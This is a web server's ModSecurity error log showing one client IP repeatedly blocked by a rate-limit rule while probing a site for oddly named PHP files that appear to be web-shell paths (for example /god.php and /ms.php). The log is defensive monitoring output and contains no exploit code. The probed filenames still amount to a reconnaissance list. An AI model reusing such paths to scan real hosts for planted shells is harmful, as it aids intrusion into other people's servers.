[Sat Feb 28 19:06:10.707711 2026] [:error] [pid 52460:tid 52475] [client 20.91.194.140:2075] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rpk.php"] [unique_id "aaLMIrLWOogAgHGh62QdEQAAAYw"]
[Sat Feb 28 19:06:11.925196 2026] [:error] [pid 39292:tid 39313] [client 20.91.194.140:2075] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rpk.php"] [unique_id "aaLMI6IAO5fN7BxyqcFP7wAAANM"]
[Sat Feb 28 19:06:12.763478 2026] [:error] [pid 49763:tid 49768] [client 20.91.194.140:46517] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rpk.php"] [unique_id "aaLMJLTHSOG_yf2PpqGZkwAAAcI"]
[Sat Feb 28 19:06:13.800096 2026] [:error] [pid 11791:tid 11816] [client 20.91.194.140:28925] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aaLMJWuX5e1Q32gqxH2hVQAAARc"]
[Sat Feb 28 19:06:17.402586 2026] [:error] [pid 49763:tid 49787] [client 20.91.194.140:24317] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aaLMKbTHSOG_yf2PpqGZsAAAAdU"]
[Sat Feb 28 19:06:18.568005 2026] [:error] [pid 52460:tid 52479] [client 20.91.194.140:50852] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aaLMKrLWOogAgHGh62QdPQAAAZA"]
[Sat Feb 28 19:06:20.813875 2026] [:error] [pid 49763:tid 49768] [client 20.91.194.140:44914] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aaLMLLTHSOG_yf2PpqGZuQAAAcI"]
[Sat Feb 28 19:06:26.306121 2026] [:error] [pid 11791:tid 11808] [client 20.91.194.140:20356] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aaLMMmuX5e1Q32gqxH2hXQAAAQ8"]
[Sat Feb 28 19:06:29.890071 2026] [:error] [pid 52460:tid 52478] [client 20.91.194.140:2509] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aaLMNbLWOogAgHGh62QdagAAAY8"]
[Sat Feb 28 19:06:31.575947 2026] [:error] [pid 52460:tid 52483] [client 20.91.194.140:51981] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aaLMN7LWOogAgHGh62QdbwAAAZQ"]
[Sat Feb 28 19:06:33.240491 2026] [:error] [pid 39184:tid 39220] [client 20.91.194.140:24580] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aaLMOVtZF9Zd_U7easB7AAAAAEE"]
[Sat Feb 28 19:06:34.885510 2026] [:error] [pid 49763:tid 49784] [client 20.91.194.140:26560] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e.php"] [unique_id "aaLMOrTHSOG_yf2PpqGaDwAAAdI"]
[Sat Feb 28 19:06:38.654634 2026] [:error] [pid 39183:tid 39212] [client 20.91.194.140:22385] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e.php"] [unique_id "aaLMPhCf4HvhVePw3LauTAAAABQ"]
[Sat Feb 28 19:06:47.703747 2026] [:error] [pid 49763:tid 49787] [client 20.91.194.140:22399] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/e.php"] [unique_id "aaLMR7THSOG_yf2PpqGafwAAAdU"]
[Sat Feb 28 19:06:49.492094 2026] [:error] [pid 39184:tid 39229] [client 20.91.194.140:31343] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "aaLMSVtZF9Zd_U7easB7KgAAAEo"]
[Sat Feb 28 19:06:51.359904 2026] [:error] [pid 39184:tid 39242] [client 20.91.194.140:27717] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "aaLMS1tZF9Zd_U7easB7OAAAAFc"]
[Sat Feb 28 19:06:53.225932 2026] [:error] [pid 39292:tid 39317] [client 20.91.194.140:21733] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "aaLMTaIAO5fN7BxyqcFQRAAAANc"]
[Sat Feb 28 19:06:54.305001 2026] [:error] [pid 52460:tid 52464] [client 20.91.194.140:2213] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/forbidals.php"] [unique_id "aaLMTrLWOogAgHGh62QdpgAAAYE"]
[Sat Feb 28 19:06:55.517872 2026] [:error] [pid 52460:tid 52485] [client 20.91.194.140:19209] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aaLMT7LWOogAgHGh62QdtgAAAZY"]
[Sat Feb 28 19:06:57.666506 2026] [:error] [pid 52460:tid 52481] [client 20.91.194.140:42897] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aaLMUbLWOogAgHGh62QdxwAAAZI"]
[Sat Feb 28 19:06:58.736351 2026] [:error] [pid 49763:tid 49770] [client 20.91.194.140:25861] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aaLMUrTHSOG_yf2PpqGa0gAAAcQ"]
[Sat Feb 28 19:07:00.541870 2026] [:error] [pid 39183:tid 39192] [client 20.91.194.140:31313] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aaLMVBCf4HvhVePw3LauswAAAAA"]
[Sat Feb 28 19:07:01.276880 2026] [:error] [pid 52460:tid 52483] [client 20.91.194.140:2182] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aaLMVbLWOogAgHGh62Qd0gAAAZQ"]
[Sat Feb 28 19:07:03.636046 2026] [:error] [pid 49763:tid 49768] [client 20.91.194.140:21703] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aaLMV7THSOG_yf2PpqGa8gAAAcI"]
[Sat Feb 28 19:07:04.507159 2026] [:error] [pid 52460:tid 52480] [client 20.91.194.140:59107] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aaLMWLLWOogAgHGh62Qd2QAAAZE"]
[Sat Feb 28 19:07:05.243994 2026] [:error] [pid 49763:tid 49787] [client 20.91.194.140:19208] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aaLMWbTHSOG_yf2PpqGbDAAAAdU"]
[Sat Feb 28 19:07:06.626762 2026] [:error] [pid 52460:tid 52465] [client 20.91.194.140:2904] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/get.php"] [unique_id "aaLMWrLWOogAgHGh62Qd4wAAAYI"]
[Sat Feb 28 19:07:31.188077 2026] [:error] [pid 39184:tid 39231] [client 20.91.194.140:31814] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaLMc1tZF9Zd_U7easB7lAAAAEw"]
[Sat Feb 28 19:07:33.136561 2026] [:error] [pid 49763:tid 49787] [client 20.91.194.140:2743] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaLMdbTHSOG_yf2PpqGbwAAAAdU"]
[Sat Feb 28 19:07:34.177626 2026] [:error] [pid 52460:tid 52463] [client 20.91.194.140:2585] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaLMdrLWOogAgHGh62QeVQAAAYA"]
[Sat Feb 28 19:07:35.666338 2026] [:error] [pid 49763:tid 49776] [client 20.91.194.140:49188] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaLMd7THSOG_yf2PpqGb3QAAAco"]
[Sat Feb 28 19:07:36.397894 2026] [:error] [pid 49763:tid 49790] [client 20.91.194.140:40518] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gec.php"] [unique_id "aaLMeLTHSOG_yf2PpqGb7gAAAdg"]
[Sat Feb 28 19:07:37.448054 2026] [:error] [pid 39183:tid 39215] [client 20.91.194.140:30574] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gec.php"] [unique_id "aaLMeRCf4HvhVePw3LavjAAAABc"]
[Sat Feb 28 19:07:38.412258 2026] [:error] [pid 39183:tid 39208] [client 20.91.194.140:18923] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gec.php"] [unique_id "aaLMehCf4HvhVePw3LavlAAAABA"]
[Sat Feb 28 19:07:39.089151 2026] [:error] [pid 39185:tid 39253] [client 20.91.194.140:2611] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gec.php"] [unique_id "aaLMexVE-FfM89u7BQaFdQAAAIc"]
[Sat Feb 28 19:07:40.025077 2026] [:error] [pid 39292:tid 39313] [client 20.91.194.140:26121] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aaLMfKIAO5fN7BxyqcFQkwAAANM"]
[Sat Feb 28 19:07:40.907463 2026] [:error] [pid 39183:tid 39209] [client 20.91.194.140:26114] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aaLMfBCf4HvhVePw3LavrwAAABE"]
[Sat Feb 28 19:07:41.936015 2026] [:error] [pid 49763:tid 49777] [client 20.91.194.140:18839] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aaLMfbTHSOG_yf2PpqGcDQAAAcs"]
[Sat Feb 28 19:07:48.564773 2026] [:error] [pid 52460:tid 52466] [client 20.91.194.140:25898] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aaLMhLLWOogAgHGh62QebgAAAYM"]
[Sat Feb 28 19:07:55.019296 2026] [:error] [pid 49763:tid 49769] [client 20.91.194.140:25903] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aaLMi7THSOG_yf2PpqGcWQAAAcM"]
[Sat Feb 28 19:07:55.779752 2026] [:error] [pid 11791:tid 11805] [client 20.91.194.140:25884] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aaLMi2uX5e1Q32gqxH2hwAAAAQw"]
[Sat Feb 28 19:07:56.743332 2026] [:error] [pid 39184:tid 39229] [client 20.91.194.140:25895] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aaLMjFtZF9Zd_U7easB7tQAAAEo"]
[Sat Feb 28 19:07:57.670643 2026] [:error] [pid 49763:tid 49769] [client 20.91.194.140:49158] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "aaLMjbTHSOG_yf2PpqGcbQAAAcM"]
[Sat Feb 28 19:07:58.588827 2026] [:error] [pid 39292:tid 39304] [client 20.91.194.140:2748] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aaLMjqIAO5fN7BxyqcFQsAAAAMo"]
[Sat Feb 28 19:07:59.437685 2026] [:error] [pid 39292:tid 39309] [client 20.91.194.140:40552] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aaLMj6IAO5fN7BxyqcFQsQAAAM8"]
[Sat Feb 28 19:08:00.175805 2026] [:error] [pid 39183:tid 39209] [client 20.91.194.140:25879] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aaLMkBCf4HvhVePw3LawGAAAABE"]
[Sat Feb 28 19:08:01.083461 2026] [:error] [pid 39183:tid 39213] [client 20.91.194.140:2712] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aaLMkRCf4HvhVePw3LawIwAAABU"]
[Sat Feb 28 19:08:02.057137 2026] [:error] [pid 39184:tid 39227] [client 20.91.194.140:42548] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aaLMkltZF9Zd_U7easB7wgAAAEg"]
[Sat Feb 28 19:08:03.174056 2026] [:error] [pid 39183:tid 39216] [client 20.91.194.140:58369] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aaLMkxCf4HvhVePw3LawKQAAABg"]
[Sat Feb 28 19:08:04.005355 2026] [:error] [pid 52460:tid 52476] [client 20.91.194.140:40565] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aaLMlLLWOogAgHGh62QesQAAAY0"]
[Sat Feb 28 19:08:05.040785 2026] [:error] [pid 52460:tid 52486] [client 20.91.194.140:30564] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aaLMlbLWOogAgHGh62QeuAAAAZc"]
[Sat Feb 28 19:08:06.271829 2026] [:error] [pid 49763:tid 49783] [client 20.91.194.140:34011] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ocxla.php"] [unique_id "aaLMlrTHSOG_yf2PpqGcrQAAAdE"]
[Sat Feb 28 19:08:07.063475 2026] [:error] [pid 49763:tid 49773] [client 20.91.194.140:2699] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ocxla.php"] [unique_id "aaLMl7THSOG_yf2PpqGcuAAAAcc"]
[Sat Feb 28 19:08:07.795025 2026] [:error] [pid 52460:tid 52480] [client 20.91.194.140:51181] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ocxla.php"] [unique_id "aaLMl7LWOogAgHGh62QewgAAAZE"]
[Sat Feb 28 19:08:08.991338 2026] [:error] [pid 39292:tid 39318] [client 20.91.194.140:2722] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ocxla.php"] [unique_id "aaLMmKIAO5fN7BxyqcFQyAAAANg"]
[Sat Feb 28 19:08:10.274983 2026] [:error] [pid 49763:tid 49782] [client 20.91.194.140:2210] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/god.php"] [unique_id "aaLMmrTHSOG_yf2PpqGc1wAAAdA"]
[Sat Feb 28 19:08:11.468323 2026] [:error] [pid 22194:tid 22208] [client 20.91.194.140:42528] [client 20.91.194.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/god.php"] [unique_id "aaLMm36mbajs3bzQGyuLtAAAAUw"]
